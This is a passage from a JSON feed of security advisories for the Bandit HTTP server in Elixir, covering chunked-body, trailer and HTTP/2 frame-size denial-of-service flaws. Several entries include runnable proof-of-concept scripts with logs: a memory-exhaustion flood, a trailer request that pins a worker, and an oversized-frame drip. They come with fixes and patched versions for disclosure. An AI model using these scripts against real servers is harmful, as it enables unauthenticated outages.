:gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n\n    request = build_chunked_request_with_trailer()\n    log(\"Sending chunked POST whose body ends with `0\\\\r\\\\nX-Trailer: 1\\\\r\\\\n\\\\r\\\\n`.\")\n    :ok = :gen_tcp.send(sock, request)\n\n    log(\"Waiting up to #{div(@recv_timeout_ms, 1000)}s for a response (a correct server replies in ms)…\")\n    started_at = System.monotonic_time(:millisecond)\n\n    case :gen_tcp.recv(sock, 0, @recv_timeout_ms) do\n      {:ok, response} -\u003e\n        elapsed = System.monotonic_time(:millisecond) - started_at\n        log(\"Got response after #{elapsed}ms — server handles trailers correctly:\")\n        IO.puts(binary_part(response, 0, min(byte_size(response), 256)))\n\n      {:error, :timeout} -\u003e\n        log(\"TIMEOUT — worker is pinned in do_read_chunked_data!/5.\")\n        log(\"Each concurrent client sending this shape consumes one Bandit worker.\")\n\n      {:error, reason} -\u003e\n        log(\"Connection error: #{inspect(reason)}\")\n    end\n\n    :gen_tcp.close(sock)\n  end\n\n  # Body: one 5-byte chunk \"hello\", last-chunk marker `0\\r\\n`, one trailer\n  # `X-Trailer: 1\\r\\n`, terminating `\\r\\n`. RFC-conformant; many proxies\n  # (NGINX, HAProxy) emit this shape when forwarding trailer-bearing\n  # responses or requests.\n  defp build_chunked_request_with_trailer do\n    \"POST / HTTP/1.1\\r\\n\" \u003c\u003e\n      \"Host: 127.0.0.1:#{@port}\\r\\n\" \u003c\u003e\n      \"Transfer-Encoding: chunked\\r\\n\" \u003c\u003e\n      \"Trailer: X-Trailer\\r\\n\" \u003c\u003e\n      \"Content-Type: application/octet-stream\\r\\n\" \u003c\u003e\n      \"\\r\\n\" \u003c\u003e\n      \"5\\r\\nhello\\r\\n\" \u003c\u003e\n      \"0\\r\\n\" \u003c\u003e\n      \"X-Trailer: 1\\r\\n\" \u003c\u003e\n      \"\\r\\n\"\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nTrailerHang.run()\n```\n\n```logs\n12:36:54.260 [info] Running EchoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[10:36:54.275] Sending chunked POST whose body ends with `0\\r\\nX-Trailer: 1\\r\\n\\r\\n`.\n[10:36:54.276] Waiting up to 10s for a response (a correct server replies in ms)…\n[10:37:04.276] TIMEOUT — worker is pinned in do_read_chunked_data!/5.\n[10:37:04.276] Each concurrent client sending this shape consumes one Bandit worker.\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T19:25:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf","https://nvd.nist.gov/vuln/detail/CVE-2026-39806","https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","https://cna.erlef.org/cves/CVE-2026-39806.html","https://osv.dev/vulnerability/EEF-CVE-2026-39806","https://github.com/advisories/GHSA-rf5q-vwxw-gmrf"],"source_kind":"github","identifiers":["GHSA-rf5q-vwxw-gmrf","CVE-2026-39806"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T20:00:18.811Z","updated_at":"2026-07-27T14:01:50.889Z","epss_percentage":0.00637,"epss_percentile":0.46528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjVxLXZ3eHctZ21yZs4ABXHZ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yZjVxLXZ3eHctZ21yZs4ABXHZ","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.1","vulnerable_version_range":"\u003e= 1.6.0, \u003c 1.11.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yZjVxLXZ3eHctZ21yZs4ABXHZ/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-39806","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf"}]},{"uuid":"GSA_kwCzR0hTQS05cTlxLTMyNHgtOTNyMs4ABXHY","url":"https://github.com/advisories/GHSA-9q9q-324x-93r2","title":"Bandit: Unauthenticated one-shot DoS via `Transfer-Encoding: chunked`","description":"### Summary\n\nBandit's HTTP/1 chunked-body reader silently drops the request size cap that the application configures (e.g. `Plug.Parsers`' default 8 MB `length:`) and buffers the entire body in memory before the application sees it. An unauthenticated attacker can crash any Bandit-fronted Phoenix/Plug app (BEAM OOM) with a single `Transfer-Encoding: chunked` request to any URL.\n\n### Details\n\nIn `lib/bandit/http1/socket.ex:189`, the chunked clause of `read_data/2` only forwards `:read_length` and `:read_timeout` to `do_read_chunked_data!/5` (`:242`); the caller-supplied `:length` cap is dropped. The recursion accumulates every chunk into an iolist and `IO.iodata_to_binary/1` (`:196`) materializes the whole thing as one binary. The function always returns `{:ok, body, ...}` — never `{:more, ...}` — so callers cannot interpose a 413.\n\nThe content-length sibling at `:210` does the right thing:\n\n```elixir\nmax_to_return = min(unread_content_length, Keyword.get(opts, :length, 8_000_000))\n```\n\nBecause `Plug.Parsers` runs before routing and auth in the standard Phoenix endpoint, the attacker needs no credentials and no valid route — any `Content-Type` matching a configured parser (`:json`, `:urlencoded`, `:multipart`) on any path triggers the bug.\n\n**Suggested Fix:** track accumulated bytes in `do_read_chunked_data!` and either return `{:more, ...}` or raise `request_error!` once `:length` is exceeded, mirroring the content-length path.\n\n### PoC\n\nSelf-contained — boots a Bandit server with a realistic `Plug.Parsers` (`length: 8_000_000`) and floods it. Save as `chunked_oom.exs`, run `elixir chunked_oom.exs`, and watch `beam.smp` RSS climb past 8 MB until the OS OOM-killer fires.\n\n```elixir\nMix.install([{:bandit, \"~\u003e 1.10\"}, {:plug, \"~\u003e 1.19\"}])\n\ndefmodule DemoApp do\n  use Plug.Builder\n\n  # The `length` option here is ignored by the attack\n  plug Plug.Parsers, parsers: [:urlencoded, :json], pass: [\"*/*\"], json_decoder: JSON, length: 8_000_000\n  plug :respond\n\n  def respond(conn, _), do: Plug.Conn.send_resp(conn, 200, \"ok\")\nend\n\n{:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: 4321)\n\n# Builds a single 1MB chunk that is reused on the client-side but accumulated on the server-side.\nchunk = :binary.copy(\u003c\u003c?A\u003e\u003e, 1_048_576)\nframe = \"#{Integer.to_string(1_048_576, 16)}\\r\\n#{chunk}\\r\\n\"\n\n{:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", 4321, [:binary, active: false])\n\n:ok =\n  :gen_tcp.send(sock, \"\"\"\n  POST / HTTP/1.1\\r\n  Host: 127.0.0.1\\r\n  Transfer-Encoding: chunked\\r\n  Content-Type: application/json\\r\n  Connection: close\\r\n  \\r\n  \"\"\")\n\nEnum.each(1..10_240, fn _ -\u003e :ok = :gen_tcp.send(sock, frame) end)\n:ok = :gen_tcp.send(sock, \"0\\r\\n\\r\\n\")\n\nIO.inspect(:gen_tcp.recv(sock, 0, 120_000))\n```\n\n### Impact\n\nUnauthenticated pre-route DoS via BEAM memory exhaustion. One request from one connection crashes the server. Affects every Bandit-fronted application that reads request bodies anywhere — i.e. essentially every Phoenix app, since the default endpoint mounts `Plug.Parsers` ahead of routing and auth. Configured `length:` caps on `Plug.Parsers` and `Plug.Conn.read_body/2` are silently ineffective on the chunked path.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-19T19:23:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2","https://nvd.nist.gov/vuln/detail/CVE-2026-39803","https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","https://cna.erlef.org/cves/CVE-2026-39803.html","https://osv.dev/vulnerability/EEF-CVE-2026-39803","https://github.com/advisories/GHSA-9q9q-324x-93r2"],"source_kind":"github","identifiers":["GHSA-9q9q-324x-93r2","CVE-2026-39803"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-19T20:00:18.811Z","updated_at":"2026-07-27T14:01:50.890Z","epss_percentage":0.00642,"epss_percentile":0.46522,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cTlxLTMyNHgtOTNyMs4ABXHY","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cTlxLTMyNHgtOTNyMs4ABXHY","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.1","vulnerable_version_range":"\u003e= 1.4.0, \u003c 1.11.1"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cTlxLTMyNHgtOTNyMs4ABXHY/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-39803","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2"}]},{"uuid":"EEF-CVE-2026-39806","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf","title":"HTTP/1 chunked decoder infinite loop on requests with trailer fields in bandit","description":"## Summary\n\nLoop with Unreachable Exit Condition ('Infinite Loop') vulnerability in mtrudel bandit allows unauthenticated remote denial of service via worker process exhaustion.\n\n'Elixir.Bandit.HTTP1.Socket':do\\_read\\_chunked\\_data!/5 in lib/bandit/http1/socket.ex terminates only when the last-chunk line 0\\\\r\\\\n is followed immediately by the empty trailer line \\\\r\\\\n. RFC 9112 §7.1.2 permits zero or more trailer fields between them. When trailers are present, none of the match clauses fit: the catch-all arm computes a negative to\\_read, calls read\\_available!/2, receives \u003c\u003c\u003e\u003e on timeout, and tail-recurses with unchanged state. The worker process is pinned for the lifetime of the TCP connection.\n\nA handful of concurrent connections sending RFC-conformant chunked requests with trailer fields is sufficient to exhaust the Bandit worker pool and render the server unresponsive to all further traffic. No authentication, special headers, or large payload is required. Proxies such as NGINX and HAProxy legitimately forward trailer-bearing requests, so servers behind such proxies may be affected without any malicious client involvement.\n\nThis issue affects bandit: from 1.6.1 before 1.11.1.","origin":"ERLEF","severity":"HIGH","published_at":"2026-05-13T13:36:17.806Z","withdrawn_at":null,"classification":null,"cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-rf5q-vwxw-gmrf","https://cna.erlef.org/cves/CVE-2026-39806.html","https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-39806","GHSA-rf5q-vwxw-gmrf","CVE-2026-39806"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":15.886850783497188,"created_at":"2026-05-13T14:20:02.226Z","updated_at":"2026-05-27T15:41:42.286Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39806","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-39806","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.1","vulnerable_version_range":"\u003e= 1.6.1, \u003c 1.11.1"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.11.0"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39806/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS1yZjVxLXZ3eHctZ21yZs4ABXHZ","source_kind":"github","url":"https://github.com/advisories/GHSA-rf5q-vwxw-gmrf"}]},{"uuid":"EEF-CVE-2026-39803","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2","title":"HTTP/1 chunked body reader ignores length cap in bandit","description":"## Summary\n\nAllocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read\\_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do\\_read\\_chunked\\_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1.","origin":"ERLEF","severity":"HIGH","published_at":"2026-05-13T13:36:09.648Z","withdrawn_at":null,"classification":null,"cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2","https://cna.erlef.org/cves/CVE-2026-39803.html","https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab","https://hex.pm/packages/bandit"],"source_kind":"erlef","identifiers":["EEF-CVE-2026-39803","GHSA-9q9q-324x-93r2","CVE-2026-39803"],"repository_url":"https://github.com/mtrudel/bandit","blast_radius":15.886850783497188,"created_at":"2026-05-13T14:20:02.093Z","updated_at":"2026-05-27T15:40:37.538Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39803","html_url":"https://advisories.ecosyste.ms/advisories/EEF-CVE-2026-39803","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.1","vulnerable_version_range":"\u003e= 1.4.0, \u003c 1.11.1"}],"purl":null,"statistics":{"dependent_packages_count":28,"dependent_repos_count":67,"downloads":12603807,"downloads_period":"total"},"affected_versions":["1.4.0","1.4.1","1.4.2","1.5.0","1.5.1","1.5.2","1.5.3","1.5.4","1.5.5","1.5.6","1.5.7","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.6.6","1.6.7","1.6.8","1.6.9","1.6.10","1.6.11","1.7.0","1.8.0","1.9.0","1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.11.0"],"unaffected_versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.2.3","0.3.2","0.3.3","0.3.4","0.3.5","0.3.6","0.3.7","0.3.8","0.3.9","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6","0.4.7","0.4.8","0.4.9","0.4.10","0.5.0","0.5.1","0.5.2","0.5.3","0.5.4","0.5.5","0.5.6","0.5.7","0.5.8","0.5.9","0.5.10","0.5.11","0.6.0","0.6.1","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.6.10","0.6.11","0.7.0","0.7.1","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","1.0.0","1.1.0","1.1.1","1.1.2","1.1.3","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.11.1","1.12.0","1.12.1","1.12.2","1.12.3"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/EEF-CVE-2026-39803/related_packages","related_advisories":[{"uuid":"GSA_kwCzR0hTQS05cTlxLTMyNHgtOTNyMs4ABXHY","source_kind":"github","url":"https://github.com/advisories/GHSA-9q9q-324x-93r2"}]},{"uuid":"GSA_kwCzR0hTQS1xNnY5LXIyMjYtdjY1Zs4ABWYH","url":"https://github.com/advisories/GHSA-q6v9-r226-v65f","title":"Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion","description":"### Summary\n\nBandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.\n\n### Details\n\nIn `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete.\n\nThe frame type and stream id don't matter; the parser never gets that far.\n\n### PoC\n\nThe script is at the end. It:\n\n1. Opens an h2c connection to a Bandit server it starts itself.\n2. Sends a 9-byte frame header announcing `length = 0xFFFFFF` (~16 MiB).\n3. Polls for `GOAWAY(FRAME_SIZE_ERROR)`. If silent, drips body bytes in 64 KiB chunks.\n\nA patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.\n\n**Suggested fix**\n\nAdd a header-only clause that rejects on the length field alone, e.g. `def deserialize(\u003c\u003clength::24, _::binary\u003e\u003e = msg, max_frame_size) when length \u003e max_frame_size, do: {{:error, frame_size_error(), \"...\"}, drop_frame_or_close(msg)}`, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.\n\n### Impact\n\nAny Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure — pure resource exhaustion.\n\nFix: add a header-only clause that rejects on `length \u003e max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses.\n\n```elixir\n# Bandit HTTP/2 oversized-frame late-check PoC.\n#\n# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.\n# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this\n# limit *after* matching `payload::binary-size(length)` in the frame\n# pattern. When the announced length exceeds what the buffer holds,\n# none of the body-bearing clauses match and `deserialize/2` returns\n# `{:more, msg}`, telling the caller to keep buffering. The oversize\n# error in the \"valid shape, length \u003e max_frame_size\" clause therefore\n# fires only *after* the entire announced body has been received —\n# letting a peer trickle up to ~16 MiB per frame (the 24-bit length\n# field maximum) into the server before the cap engages, well past\n# the 16 KiB the server agreed to.\n#\n# This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips\n# body bytes in 64 KiB chunks, and after each chunk does a brief\n# non-blocking recv to see if the server has reacted. A patched server\n# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header\n# alone is enough). A vulnerable server keeps silently accepting up\n# to the full 16 MiB.\n#\n# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive\n# header — the parser never reaches dispatch (it's stuck buffering\n# body), so the type and stream id are immaterial to the bug.\n#\n# Run: elixir scripts/bandit/http2_frame_size_late_check.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"}\n])\n\ndefmodule NoopApp do\n  @behaviour Plug\n  def init(opts), do: opts\n  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, \"ok\\n\")\nend\n\ndefmodule FrameSizeLateCheck do\n  @port 4321\n  @connection_preface \"PRI * HTTP/2.0\\r\\n\\r\\nSM\\r\\n\\r\\n\"\n\n  @type_settings 0x4\n  @type_goaway 0x7\n  @flag_settings_ack 0x1\n\n  @max_24_bit 0xFFFFFF\n  @drip_chunk_size 64 * 1024\n  @max_total_drip 4 * 1024 * 1024\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)\n\n    {:ok, sock} =\n      :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false, nodelay: true])\n\n    advertised_max_frame_size = handshake!(sock)\n    log(\"Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.\")\n\n    abusive_header =\n      frame_header(@max_24_bit, @type_settings, 0, 0)\n\n    log(\n      \"Sending oversized SETTINGS header: length=#{@max_24_bit} \" \u003c\u003e\n        \"(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}.\"\n    )\n\n    :ok = :gen_tcp.send(sock, abusive_header)\n\n    case poll_for_reaction(sock, 200) do\n      {:goaway, error_code} -\u003e\n        log(\"Server sent GOAWAY on header alone: error_code=#{error_code} — patched.\")\n        finish(sock)\n\n      :silent -\u003e\n        log(\"Server silent after header. Beginning body drip…\")\n        drip_loop(sock, 0)\n    end\n  end\n\n  defp drip_loop(sock, total_sent) when total_sent \u003e= @max_total_drip do\n    log(\n      \"Drip cap reached: #{total_sent} bytes accepted with no server reaction. \" \u003c\u003e\n        \"Server is buffering an oversized frame body well past max_frame_size.\"\n    )\n\n    finish(sock)\n  end\n\n  defp drip_loop(sock, total_sent) do\n    chunk = :binary.copy(\u003c\u003c0\u003e\u003e, @drip_chunk_size)\n\n    case :gen_tcp.send(sock, chunk) do\n      :ok -\u003e\n        new_total = total_sent + @drip_chunk_size\n\n        case poll_for_reaction(sock, 50) do\n          {:goaway, error_code} -\u003e\n            log(\n              \"After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server \" \u003c\u003e\n                \"sent GOAWAY: error_code=#{error_code}.\"\n            )\n\n            finish(sock)\n\n          :silent -\u003e\n            if rem(new_total, 512 * 1024) == 0 do\n              log(\"Dripped #{div(new_total, 1024)} KiB so far, no reaction.\")\n            end\n\n            drip_loop(sock, new_total)\n        end\n\n      {:error, reason} -\u003e\n        log(\"Send failed at total=#{total_sent}: #{inspect(reason)}.\")\n        finish(sock)\n    end\n  end\n\n  defp poll_for_reaction(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 9, timeout_ms) do\n      {:ok, \u003c\u003clength::24, type::8, _flags::8, _r::1, _stream_id::31\u003e\u003e} -\u003e\n        case recv_payload(sock, length, timeout_ms) do\n          {:ok, payload} when type == @type_goaway -\u003e\n            \u003c\u003c_last_id::32, error_code::32, _debug::binary\u003e\u003e = payload\n            {:goaway, error_code}\n\n          {:ok, _} -\u003e\n            :silent\n\n          {:error, _} -\u003e\n            :silent\n        end\n\n      {:error, :timeout} -\u003e\n        :silent\n\n      {:error, :closed} -\u003e\n        {:goaway, :connection_closed_without_goaway}\n    end\n  end\n\n  defp finish(sock), do: :gen_tcp.close(sock)\n\n  # --- HTTP/2 handshake helpers ------------------------------------------\n\n  defp handshake!(sock) do\n    :ok = :gen_tcp.send(sock, @connection_preface)\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e))\n\n    {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)\n    @type_settings = server_settings_frame.type\n    advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)\n\n    :ok = :gen_tcp.send(sock, build_settings_frame(\u003c\u003c\u003e\u003e, @flag_settings_ack))\n\n    _ = drain(sock, 100)\n    advertised_max_frame_size\n  end\n\n  # SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.\n  # SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.\n  defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)\n  defp parse_max_frame_size(\u003c\u003c\u003e\u003e, current_value), do: current_value\n\n  defp parse_max_frame_size(\u003c\u003c0x5::16, value::32, rest::binary\u003e\u003e, _current) do\n    parse_max_frame_size(rest, value)\n  end\n\n  defp parse_max_frame_size(\u003c\u003c_id::16, _value::32, rest::binary\u003e\u003e, current) do\n    parse_max_frame_size(rest, current)\n  end\n\n  defp build_settings_frame(payload, flags \\\\ 0) do\n    frame_header(byte_size(payload), @type_settings, flags, 0) \u003c\u003e payload\n  end\n\n  defp frame_header(length, type, flags, stream_id) do\n    \u003c\u003clength::24, type::8, flags::8, 0::1, stream_id::31\u003e\u003e\n  end\n\n  defp recv_full_frame(sock, timeout_ms) do\n    with {:ok, \u003c\u003clength::24, type::8, flags::8, _r::1, stream_id::31\u003e\u003e} \u003c-\n           :gen_tcp.recv(sock, 9, timeout_ms),\n         {:ok, payload} \u003c- recv_payload(sock, length, timeout_ms) do\n      {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: payload}}\n    end\n  end\n\n  defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, \u003c\u003c\u003e\u003e}\n  defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_ms)\n\n  defp drain(sock, timeout_ms) do\n    case :gen_tcp.recv(sock, 0, timeout_ms) do\n      {:ok, bytes} -\u003e bytes \u003c\u003e drain(sock, timeout_ms)\n      {:error, _} -\u003e \u003c\u003c\u003e\u003e\n    end\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFrameSizeLateCheck.run()\n```\n\n```logs\n17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.\n[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap 16384.\n[15:23:19.444] Server silent after header. Beginning body drip…\n[15:23:19.857] Dripped 512 KiB so far, no reaction.\n[15:23:20.265] Dripped 1024 KiB so far, no reaction.\n[15:23:20.676] Dripped 1536 KiB so far, no reaction.\n[15:23:21.094] Dripped 2048 KiB so far, no reaction.\n[15:23:21.511] Dripped 2560 KiB so far, no reaction.\n[15:23:21.925] Dripped 3072 KiB so far, no reaction.\n[15:23:22.340] Dripped 3584 KiB so far, no reaction.\n[15:23:22.749] Dripped 4096 KiB so far, no reaction.\n[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction. Server is buffering an oversized frame body well past max_frame_size.\n```","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T03:52:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f","https://nvd.nist.gov/vuln/detail/CVE-2026-42788","https://github.com/mtrudel/bandit/commit/1e8e55966da9129016b73d32f0e1df4630e3b463","https://cna.erlef.org/cves/CVE-2026-42788.html","https://osv.dev/vulnerability/EEF-CVE-2026-42788","https://github.com/advisories/GHSA-q6v9-r226-v65f"],"source_kind":"github","identifiers":["GHSA-q6v9-r226-v65f","CVE-2026-42788"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T04:00:08.162Z","updated_at":"2026-07-27T14:02:13.247Z","epss_percentage":0.0051,"epss_percentile":0.3953,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNnY5LXIyMjYtdjY1Zs4ABWYH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNnY5LXIyMjYtdjY1Zs4ABWYH","packages":[{"ecosystem":"hex","package_name":"bandit","versions":[{"first_patched_version":"1.11.0","vulnerable_version_range":"\u003e= 0.3.5, \u003c 1.11.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNnY5LXIyMjYtdjY1Zs4ABWYH/related_packages","related_advisories":[{"uuid":"EEF-CVE-2026-42788","source_kind":"erlef","url":"https://github.com/mtrudel/bandit/security/advisories/GHSA-q6v9-r226-v65f"}]},{"uuid":"GSA_kwCzR0hTQS0zNzVmLTRyMmgtZjk5as4ABWYG","url":"https://github.com/advisories/GHSA-375f-4r2h-f99j","title":"Bandit trusts client-supplied URI scheme on plaintext connections","description":"### Summary\nBandit reflects the client-supplied URI scheme into `conn.scheme` without verifying the actual transport. Over a plaintext HTTP/1.1 connection (or h2c), an unauthenticated attacker can send an absolute-form request target like `GET https://victim/path HTTP/1.1` and the application observes `conn.scheme = :https` even though no TLS was negotiated. Any downstream Plug logic that trusts `conn.scheme` as a security signal — `Plug.SSL`'s \"already secure, don't redirect\" branch, `secure: 